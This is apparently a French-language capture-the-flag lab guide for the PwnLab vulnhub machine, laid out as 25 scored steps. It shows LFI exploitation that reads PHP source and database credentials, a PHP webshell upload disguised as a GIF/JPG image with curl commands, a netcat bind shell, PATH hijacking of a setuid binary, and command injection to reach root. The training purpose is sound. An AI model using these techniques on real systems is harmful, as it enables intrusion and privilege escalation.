Hacker Lab


PwnLab est un serveur designé par Claor, disponible sur vulnhub.com.
C'est une machine de niveau débutant qui permet de pratiquer le pentesting.

Cette VM permet s'entrainer sur l'upload de code PHP via une image, et l'exploitation de LFI.
Une première LFI permet de récupérer les codes sources php. Une seconde permet l'execution de code.
L'objectif est la lecture du flag root.

Accès à la VM
La VM n'est pas accessible à partir du xterm [Mon terminal].
Vous devez lancer une Kali sur votre PC et vous connecter avec un tunnel openvpn [Mon accès].
Ou bien, vous pouvez lancer une kali dans le browser [Ma Kali].

Démarrer la VM
Vérifiez que la VM est lancée sur la page [VMs], et pingez l'IP à partir de la Kali.

1 / 25 - Nmap
5

Lancer un nmap sans option

nmap pwnlab 

Le flag est la liste des ports ouverts sous la forme: a:b:c

2 / 25 - Apache version
5

Lancer un nmap avec l'option -sV
Le flag est la version du serveur web sous la forme a.b.c

3 / 25 - MySQL version
5

Lancer un nmap avec l'option -sV
Le flag est la version du serveur mySQL sous la forme a.b.c

4 / 25 - LFI: Identification
5

Aller sur le site web : https://yoloctf.org/proxy/pwnlab/
Cliquez sur les liens, et regardez la forme des url.
Identifier le paramètre qui a un gros potentiel de LFI

Le flag est le nom du paramètre

5 / 25 - LFI: Verification
5

Identifiez les 2 valeurs de ce paramètre pour le login et l'upload.

Trop compliqué ? Sérieux ?
Testez https://yoloctf.org/proxy/pwnlab/VALEURDUPARAMETRE.php
Vous devinez comment est utilisé la valeur du paramètre dans le code php ?

include (VALEURDUPARAMETRE.'xxxx'); 


Le flag est la valeur de xxxx.

6 / 25 - LFI: index.php
5

Relisez https://yoloctf.org/yoloctf/toolbox/toolbox.php?cat=lfi pour revoir comment exploiter une LFI.
L'include ajoute une extension, ce qui complique l'exploitation.
Regardez particulièrement comment 'récupérer le code source php.'

Recupérer le source encodé en base64 de index.php
Utilisez les 3 premiers caractères du base64 en tant que flag

7 / 25 - LFI: code source index.php
5

Décodez le code source de index.php.
Identifiez un cookie qui est utilisé dans un include.
Mettez cette belle LFI de coté pour plus tard.

Le flag est le nom de ce cookie

8 / 25 - LFI: code source login.php, encodage du mot de passe
5

Récupérez, décodez puis lisez le code source de login.php.

Le flag est la fonction d'encodage utilisée sur $_POST['pass'] avant de l'utiliser dans la requète SQL.

9 / 25 - LFI: code source login.php, fichier de conf mysql
5

Lisez le code source de login.php.
Un fichier php, contenant la config pour se connecter au serveur mysql, est inclus et interprété avec la fonction require('').
Récupérez ce fichier de config.

Le flag est le mot de passe

10 / 25 - MySQL: databases
5

Utilisez ces identifiants pour vous connecter à la base de donnée MySQL.
Hacker's guide: MySQL

Listez les bases de données.

Le flag est le nom de la base de donnée

11 / 25 - MySQL: tables
5

Utilisez la base de donnée, et listez les tables.

use DATABASE; 
show tables; 


Le flag est le nom de la table unique de cette base...

12 / 25 - MySQL: table
5

Dumpez le contenu de cette table.

SELECT * FROM TABLENAME; 

N'oubliez pas de quitter mysql proprement.

exit 


Le flag est le nom du premier user

13 / 25 - MySQL: passwd
5

Vous connaissez l'encodage de ces mots de passe, décodez les avec douceur.

Le flag est le mot de passe du premier user

14 / 25 - Web upload
5

Utilisez ces credentials pour vous connecter au site web.
Sur votre windows, crééz un fichier backdoor_MONPRENOM.php.

<? system('id'); ?> 

Tentez de l'uploader avec l'interface web.

Le flag est le premier mot du message d'erreur.

15 / 25 - Web upload : extension jpg
5

Dans votre xterm, créez un fichier backdoor_MONPRENOM.jpg avec le même contenu:

<? system('id'); ?> 

Uploader ce fichier avec curl.

curl -X POST -F 'submit=Upload' -F 'file=@./backdoor_MONPRENOM.jpg' http://pwnlab/?page=upload 


Affichez l'interface developpeur de votre navigateur et récupérez la valeur du cookie de session PHPSESSID.
Uploader ce fichier avec curl.

curl  --cookie 'PHPSESSID=d81320xxxxxxxxxxxxxf4898090a' -X POST -F 'submit=Upload' -F 'file=@./backdoor_MONPRENOM.jpg' http://pwnlab/?page=upload 



Le flag est le code du message d'erreur.

16 / 25 - Web upload : entête GIF et extension jpg
5

Regardez les techniques en https://hacklab.yoloctf.org/yoloctf/toolbox/toolbox.php?id=imgwebshell
Créer un fichier backdoor.jpg avec une entête gif valide qui lance la commande php system('id').
Uploader ce fichier.

Le flag est le nom du répertoire qui contient le fichier uploadé.

17 / 25 - LFI: code source upload.php
5

Utilisez la LFI pour récupérer, et lire le code source de upload.php

Le flag est l'algorithme utilisé pour calculer le nom du fichier uploadé

18 / 25 - LFI: cookie
5

Vous vous souvenez du cookie à risque dans la page index.php ? C'est une belle LFI qui va nous permettre d'executer notre webshell.

if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } 

Nous allons utiliser ce cookie pour forcer l'inclusion de notre webshell.

Ouvrez une page https://yoloctf.org/proxy/pwnlab/.
Ouvre votre proxy [Mon proxy], la dernière entrée est la dernière page ouverte. Selectionnez là.
Clickez sur l'icone 'stylo' pour modifier l'entête.
Ajoutez un cookie lang avec le chemin de notre webshell.
Clickez sur l'icone 'check' pour valider votre modification.
Clicker sur Replay en haut à gauche pour relancer la requête.
Clicker sur l'onglet 'Response' pour lire la nouvelle réponse.
La réponse est de la forme:

GIF89;uid=33(xxxxxxx) gid=33(xxxxx) groups=33(xxxxx) 
&lthtml> 
&lthead> 

notre shell a bien été éxécuté.

Le flag est le compte qui execute notre shell

19 / 25 - Backdoor
5

Affichez le contenu de ce webshell dans un onglet: https://yoloctf.org/yoloctf/toolbox/yopwebshell.php.txt
Dans votre xterm, copiez le code du webshell (click droit) dans un fichier webshell.txt avec vi ou nano.
Mettez un mot de passe personnalisé.
Ajoutez l'entête Gif: GIF89;
Renommez le en .jpg
Récupérez la valeur du cookie PHPSESSID dans votre navigateur en affichant les outils de developpeur.
Uploadez webshell.jpg avec curl:

curl --cookie 'PHPSESSID=d813206d1cba3f5314f0114f4898090a' -X POST -F 'submit=Upload' -F 'file=@./webshell.jpg' http://pwnlab/?page=upload 

Créez un cookie de nom 'lang' et de valeur le chemin de cet upload.
Exploitez votre backdoor sans oublier de préciser votre mot de passe.

https://hacklab.yoloctf.org/proxy/pwnlab/?page=upload&password=yolo 

Choisissez un port et lancez un 'bind shell' avec Netcat option -e.
Connectez-vous avec un nc à partir de votre xterm.

nc pwnlab 4444 
id 

Tant que votre nc est connecté, vous bloquez un serveur apache.
En fonction de la configuration il peut y avoir 4, 16, 32 threads...
Pour libérer le serveur pour les copains: https://yoloctf.org/yoloctf/toolbox/toolbox.php?id=ncwebfriendly

Le flag est le chemin 'pwd' dans lequel s'execute le shell.

20 / 25 - Su
5

Nous avons les login/password des utilisateurs. Utilisons su

su kane 

su ne donne rien. Nc n'est pas un tty.
Upgradons notre shell avec un tty: https://hacklab.yoloctf.org/yoloctf/toolbox/toolbox.php?id=ncupgrade
Une fois passé en kane, se rendre dans son répertoire home.
Le flag est le nom d'un fichier avec un gros potentiel situé dans ce répertoire.

21 / 25 - Su
5

Prenons des informations sur ce fichier

file msxxxxx 
ls -al msxxxxx 
strings msxxxxx 

Le fichier est de type executable binaire, compilé avec gcc.
Il possède un sticky bit. Toute commande sera lancé avec l'id du propriétaire.
string, nous montre une commande shell hardcodée qui va afficher un fichier.

Le flag est le nom de la commande shell que nous allons exploiter.

22 / 25 - PATH
5

Créer un répertoire temporaire dans /tmp, et y placer un programme de même nom que la commande, qui ouvre un shell sh.

mkdir /tmp/.zedfty 
echo "/bin/sh" > /tmp/.zedfty/cxx 
chmod a+x /tmp/.zedfty/cxx 

Placer ce répertoire en tête de notre PATH

export PATH=/tmp/.zedfty:$PATH 
which cxx 

Dans le répertoire de kane, lancer ./msxxxx

Le flag est l'id dans le nouveau shell.

23 / 25 - Sbit again
5

Se rendre dans /home/mike et analyser le programme avec sticky bit.

file msxxxxxx 
strings msxxxxx 

Une commande shell est hardcodée juste après 'Message for root'
Le flag est le nom de la commande avant le %s

24 / 25 - Command injection
5

Le %s va permettre une injection de commandes shell.

Le flag est le caractère qui sépare deux instructions en shell

25 / 25 - Command injection 2
5

Exploitez msxxxx avec une injection de commande pour ouvrir un shell /bin/sh, ou bash -p

Le flag est le titre du message en /root/flag.txt
Pro tips: votre PATH est toujours particulier...
Pro tips: bash drop les privilègues, -p permet de les garder

Pensez à faire le menage.

Effacez vos webshell, votre répertoire dans /tmp. Merci :)